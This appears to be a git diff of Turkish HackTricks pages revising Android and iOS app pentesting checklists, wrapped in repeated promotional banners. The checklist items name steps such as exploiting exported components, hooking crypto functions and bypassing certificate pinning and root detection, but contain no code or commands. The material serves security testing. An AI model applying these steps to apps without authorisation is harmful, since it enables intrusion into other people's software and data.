<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
</details>

View file

@ -4,17 +4,17 @@
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!** * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR gönderin.** * **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile paylaşın.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -38,11 +38,11 @@
### [Statik Analiz](android-app-pentesting/#static-analysis) ### [Statik Analiz](android-app-pentesting/#static-analysis)
* [ ] [Obfuskasyon](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımını kontrol edin, mobilin root edilip edilmediğini, bir emülatörün kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. Daha fazla bilgi için [buraya bakın](android-app-pentesting/#other-checks). * [ ] [Obfuskasyon](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımını kontrol edin, mobilin root edilip edilmediğini, bir emülatörün kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. Daha fazla bilgi için [burayı okuyun](android-app-pentesting/#other-checks).
* [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root edilip edilmediğini kontrol etmeli ve buna göre hareket etmelidir. * [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root edilip edilmediğini kontrol etmeli ve buna göre hareket etmelidir.
* [ ] [İlginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API'ler, şifreleme, arka kapılar, belirteçler, Bluetooth uuid'leri...). * [ ] [İlginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API'ler, şifreleme, arka kapılar, belirteçler, Bluetooth uuid'leri...).
* [ ] [Firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat. * [ ] [Firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat.
* [ ] [Manifest dosyasını okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) * [ ] Manifest dosyasını okuyun:
* [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "sömürmeye" çalışın * [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "sömürmeye" çalışın
* [ ] APK'nin yedeklemelere izin verip vermediğini kontrol edin * [ ] APK'nin yedeklemelere izin verip vermediğini kontrol edin
* [ ] Dışa aktarılan Aktiviteler * [ ] Dışa aktarılan Aktiviteler
@ -50,8 +50,8 @@
* [ ] Açık hizmetler * [ ] Açık hizmetler
* [ ] Yayın Alıcıları * [ ] Yayın Alıcıları
* [ ] URL Şemaları * [ ] URL Şemaları
* [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediğini kontrol edin (android-app-pentesting/#insecure-data-storage)? * [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediğini kontrol edin
* [ ] Diskte sabitlenmiş veya sabitlenmiş bir şifre var mı (android-app-pentesting/#poorkeymanagementprocesses)? Uygulama güvensiz şifreleme algoritmaları kullanıyor mu (android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? * [ ] Herhangi bir şifre sabitlenmiş veya diske kaydedilmiş mi? Uygulama güvensiz şifreleme algoritmaları kullanıyor mu?
* [ ] Tüm kütüphaneler PIE bayrağı kullanılarak derlendi mi? * [ ] Tüm kütüphaneler PIE bayrağı kullanılarak derlendi mi?
* [ ] Unutmayın, bu aşamada size çok yardımcı olabilecek birçok [statik Android Analiz Araçları](android-app-pentesting/#automatic-analysis) bulunmaktadır. * [ ] Unutmayın, bu aşamada size çok yardımcı olabilecek birçok [statik Android Analiz Araçları](android-app-pentesting/#automatic-analysis) bulunmaktadır.
@ -59,25 +59,25 @@
* [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis)) * [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis))
* [ ] [İstenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyalama/yapıştırma, çökme günlükleri)? * [ ] [İstenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyalama/yapıştırma, çökme günlükleri)?
* [ ] SQLite veritabanlarında [gizli bilgilerin kaydedilmesi](android-app-pentesting/#sqlite-dbs) var mı? * [ ] SQLite veritabanlarında kaydedilen [gizli bilgiler](android-app-pentesting/#sqlite-dbs) var mı?
* [ ] [Sömürülebilir açık Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass) var mı? * [ ] Sömürülebilir açık Aktiviteler
* [ ] [Sömürülebilir İçerik Sağlayıcılar](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information) var mı? * [ ] Sömürülebilir İçerik Sağlayıcılar
* [ ] [Sömürülebilir açık Hizmetler](android-app-pentesting/#exploiting-services) var mı? * [ ] Sömürülebilir açık Hizmetler
* [ ] [Sömürülebilir Yayın Alıcıları](android-app-pentesting/#exploiting-broadcast-receivers) var mı? * [ ] Sömürülebilir Yayın Alıcıları
* [ ] Uygulama [ık metin/weak algoritmalar kullanarak bilgi iletiyor mu](android-app-pentesting/#insufficient-transport-layer-protection)? MitM mümkün mü? * [ ] Uygulama bilgileri açık metin/ zayıf algoritmalar kullanarak iletir mi? MitM mümkün mü?
* [ ] HTTP/HTTPS trafiğini inceleyin (android-app-pentesting/#inspecting-http-traffic) * [ ] HTTP/HTTPS trafiğini inceleyin
* [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web zafiyetlerini arayabilirsiniz (Hacktricks'te Web zafiyetleri hakkında çok bilgi bulunmaktadır). * [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web zafiyetlerini arayabilirsiniz (Hacktricks'te Web zafiyetleri hakkında çok bilgi bulunmaktadır).
* [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) için kontrol edin (muhtemelen burada bazı statik kod analizi yardımcı olacaktır) * [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) için kontrol edin (muhtemelen burada bazı statik kod analizi yardımcı olacaktır)
* [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...) * [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...)
### Bazı obfuskasyon/Deobfuscation bilgileri ### Bazı obfuscation/Deobfuscation bilgileri
* [ ] [Buradan okuyun](android-app-pentesting/#obfuscating-deobfuscating-code) * [ ] [Burayı okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -85,10 +85,10 @@
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!** * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR gönderin.** * **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile paylaşın.
</details> </details>

View file

@ -1,30 +1,30 @@
# iOS Pentesting Kontrol Listesi # iOS Pentesting Checklist
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Hemen Erişim Alın: Hemen Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahraman'a kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,12 +33,12 @@ HackTricks'ı desteklemenin diğer yolları:
### Hazırlık ### Hazırlık
* [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun * [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun
* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayarak ortamınızı hazırlayın * [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayın
* [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun * [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun
### Veri Depolama ### Veri Depolama
* [ ] Hassas bilgileri depolamak için [**Plist dosyaları**](ios-pentesting/#plist) kullanılabilir. * [ ] [**Plist dosyaları**](ios-pentesting/#plist) hassas bilgileri depolamak için kullanılabilir.
* [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite veritabanı) hassas bilgileri depolayabilir. * [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite veritabanı) hassas bilgileri depolayabilir.
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite veritabanı) hassas bilgileri depolayabilir. * [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite veritabanı) hassas bilgileri depolayabilir.
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) yanlış yapılandırma. * [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) yanlış yapılandırma.
@ -48,31 +48,31 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir * [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir
* [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir * [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir
* [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır. * [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır.
* [ ] Özetle, uygulama tarafından dosya sistemine kaydedilen hassas bilgileri kontrol edin * [ ] Özetle, uygulama tarafından dosya sistemine kaydedilen hassas bilgileri **kontrol edin**
### Klavyeler ### Klavyeler
* [ ] Uygulama [**özel klavyeleri kullanmaya izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)? * [ ] Uygulama [**özel klavyeleri kullanmaya izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin * [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) saklanıp saklanmadığını kontrol edin
### **Kayıtlar** ### **Kayıtlar**
* [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin * [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin
### Yedeklemeler ### Yedekler
* [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin) * [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere **erişmek** için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
* [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) işlevselliğin **atlatılabileceği** kontrol edilebilir * [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek** için kullanılabilir, ardından yedeği telefona **geri yükleyebilir** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevselliği** **atlanabilir**
### **Uygulamaların Belleği** ### **Uygulamaların Belleği**
* [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin * [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin
### **Kırık Şifreleme** ### **Kırık Şifreleme**
* [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz kontrol edin * [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz kontrol edin
* [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin * [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin
* [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography) * [**Şifreleme fonksiyonlarını kancalayın ve izleyin**](ios-pentesting/#broken-cryptography)
### **Yerel Kimlik Doğrulama** ### **Yerel Kimlik Doğrulama**
@ -85,31 +85,31 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin * [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin
* [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin * [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin
* [ ] Uygulamanın özel şemayı kullanan başka bir uygulama tarafından **intercept edilebilecek hassas bilgi türlerini bekleyip beklemediğini** kontrol edin * [ ] Uygulamanın, aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek hassas bilgileri** almayı beklediğini kontrol edin
* [ ] Uygulamanın özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin * [ ] Uygulamanın, özel şemayla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
* [ ] Uygulamanın özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin * [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden **çağrılabilen hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin
* [**Evrensel Bağlantılar**](ios-pentesting/#universal-links) * [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
* [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin * [ ] Uygulamanın herhangi bir evrensel protokol/şema **kaydettiğini** kontrol edin
* [ ] `apple-app-site-association` dosyasını kontrol edin * [ ] `apple-app-site-association` dosyasını kontrol edin
* [ ] Uygulamanın özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin * [ ] Uygulamanın, özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
* [ ] Uygulamanın özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin * [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden **çağrılabilen hassas bir işlevsellik** açığa çıkarıp çıkarmadığını kontrol edin
* [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md) * [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin * [ ] Uygulamanın UIActivities alıp alamayacağını ve özel olarak oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin * [ ] Uygulamanın genel panoya herhangi bir şey kopyalayıp kopyalamadığını kontrol edin
* [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin * [ ] Uygulamanın genel panodan herhangi bir veriyi kullanıp kullanmadığını kontrol edin
* [ ] Hassas verilerin kopyalanıp kopyalanmadığını görmek için panoyu izleyin * [ ] Hassas verilerin kopyalanıp kopyalanmadığını görmek için panoyu izleyin
* [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md) * [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md)
* [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin * [ ] Uygulamanın herhangi bir uzantıyı **kullandığını** kontrol edin
* [**Web Görünümleri**](ios-pentesting/ios-webviews.md) * [**Web Görünümleri**](ios-pentesting/ios-webviews.md)
* [ ] Kullanılan web görünümlerinin türlerini kontrol edin * [ ] Kullanılan web görünümlerini kontrol edin
* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin * [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin
* [ ] Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) * [ ] Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`) * [ ] Javascript'in **Native** **metodlara** erişip erişemediğini kontrol edin (`JSContext`, `postMessage`)
### Ağ İletişimi ### Ağ İletişimi
* [ ] [**İletişime MitM yapın**](ios-pentesting/#network-communication) ve web açıklarını arayın. * [ ] [**İletişime MitM**](ios-pentesting/#network-communication) yapın ve web açıklarını arayın.
* [ ] [**Sertifika host adının**](ios-pentesting/#hostname-check) kontrol edilip edilmediğini kontrol edin * [ ] [**Sertifika**](ios-pentesting/#hostname-check) hostname'unun kontrol edilip edilmediğini kontrol edin
* [ ] [**Sertifika Pinning**](ios-pentesting/#certificate-pinning) kontrol edin/geçin * [ ] [**Sertifika Pinning**](ios-pentesting/#certificate-pinning) kontrol edin/geçin
### **Çeşitli** ### **Çeşitli**
@ -119,7 +119,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -129,10 +129,10 @@ HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
